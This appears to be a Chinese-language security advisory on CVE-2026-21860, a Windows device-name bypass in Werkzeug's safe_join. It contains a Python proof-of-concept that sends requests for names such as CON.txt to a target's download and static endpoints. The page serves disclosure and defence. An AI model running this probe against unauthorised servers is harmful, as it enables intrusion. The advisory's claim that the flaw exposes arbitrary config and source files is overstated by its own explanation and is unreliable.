IPBUF安全漏洞报告
English
CVE-2026-21860 CVSS 5.3 中危

CVE-2026-21860: Werkzeug safe_join Windows设备名路径穿越漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-21860
漏洞类型
路径穿越
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Werkzeug

相关标签

路径穿越WerkzeugWindows设备名信息泄露safe_joinCVE-2026-21860WSGIPython

漏洞概述

CVE-2026-21860是Werkzeug web应用库中的一个中等严重性安全漏洞。该漏洞影响Werkzeug 3.1.5之前版本,存在于safe_join函数中。该函数在处理Windows设备名称时存在安全缺陷,允许攻击者通过在路径中插入带有文件扩展名或尾随空格的Windows保留设备名称(如CON、AUX等)来绕过安全检查,访问本不应被访问的文件。在Windows系统中,这些特殊设备名称在任何目录下都隐式存在且可读,Windows系统还允许它们附加任何文件扩展名(如CON.txt)或尾随空格(如CON )。攻击者可以利用此漏洞读取服务器上的敏感文件,如配置文件、源代码或其他机密数据。CVSS 3.1评分为5.3,属于中等严重程度,攻击向量为网络,无需认证和用户交互即可利用。

技术细节

Werkzeug的safe_join函数旨在安全地连接文件路径,确保返回的路径在指定的基础目录内。然而,在3.1.5之前的版本中,该函数未能正确过滤Windows保留设备名称。Windows系统保留了一些特殊设备名称(如CON、PRN、AUX、NUL、COM1-9、LPT1-9等),这些设备在所有目录中隐式存在且可读。攻击者可以通过以下方式利用此漏洞:1) 使用带文件扩展名的设备名称(如CON.txt、NUL.log);2) 使用带尾随空格的设备名称(如CON 、AUX )。由于safe_join函数未正确验证这些特殊路径,攻击者可以构造恶意请求访问基础目录之外的文件。例如,攻击者可能通过请求类似/download?file=CON.txt的路径来读取服务器上的敏感文件。此漏洞仅限于Windows平台,因为Linux和其他操作系统不存在这种特殊的设备名称行为。

攻击链分析

STEP 1
步骤1
攻击者识别目标Web应用使用Werkzeug框架且运行在Windows服务器上
STEP 2
步骤2
攻击者构造恶意请求,在文件路径参数中插入Windows保留设备名称(如CON.txt、AUX、NUL.log等)
STEP 3
步骤3
Werkzeug的safe_join函数未正确验证这些特殊设备名称,错误地允许路径拼接
STEP 4
步骤4
由于Windows设备名称在任何目录下都隐式存在,拼接后的路径指向系统设备或任意文件
STEP 5
步骤5
攻击者成功读取服务器上的敏感文件,如配置文件、源代码、环境变量等
STEP 6
步骤6
利用获取的敏感信息进行进一步攻击,如横向移动或提权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-21860 PoC - Werkzeug safe_join Windows device name bypass # This PoC demonstrates accessing Windows special device names through Werkzeug's safe_join function def test_werkzeug_device_name_bypass(base_url): """ Test for CVE-2026-21860: Werkzeug safe_join Windows device name traversal Works only on Windows servers running vulnerable Werkzeug versions (< 3.1.5) """ # Windows special device names that can be accessed device_names = [ 'CON.txt', # Console device with extension 'CON ', # Console device with trailing space 'AUX.txt', # Auxiliary device with extension 'NUL.log', # Null device with extension 'PRN.txt', # Printer device with extension ] results = [] for device in device_names: # Try to access device names through various endpoints endpoints = [ f'{base_url}/download?file={device}', f'{base_url}/static/{device}', f'{base_url}/files/{device}', ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=5) # If we get a successful response (not 404), the vulnerability may exist if response.status_code == 200: results.append({ 'device': device, 'endpoint': endpoint, 'status': 'VULNERABLE', 'content_length': len(response.content) }) except requests.exceptions.RequestException: pass return results if __name__ == '__main__': # Example usage base_url = 'http://target-server.com' results = test_werkzeug_device_name_bypass(base_url) if results: print('Potential vulnerability detected!') for r in results: print(f" Device: {r['device']}, Endpoint: {r['endpoint']}") else: print('No vulnerability detected or target not accessible')

影响范围

Werkzeug < 3.1.5

防御指南

临时缓解措施
如果无法立即升级Werkzeug版本,可采取以下临时缓解措施:1) 在应用层对所有文件路径参数进行严格验证,拒绝包含Windows设备名称(CON、AUX、PRN、NUL等)的请求;2) 使用正则表达式过滤特殊字符和设备名称模式;3) 限制应用运行在非Windows环境;4) 实施最小权限原则,确保Web应用进程无法访问敏感文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表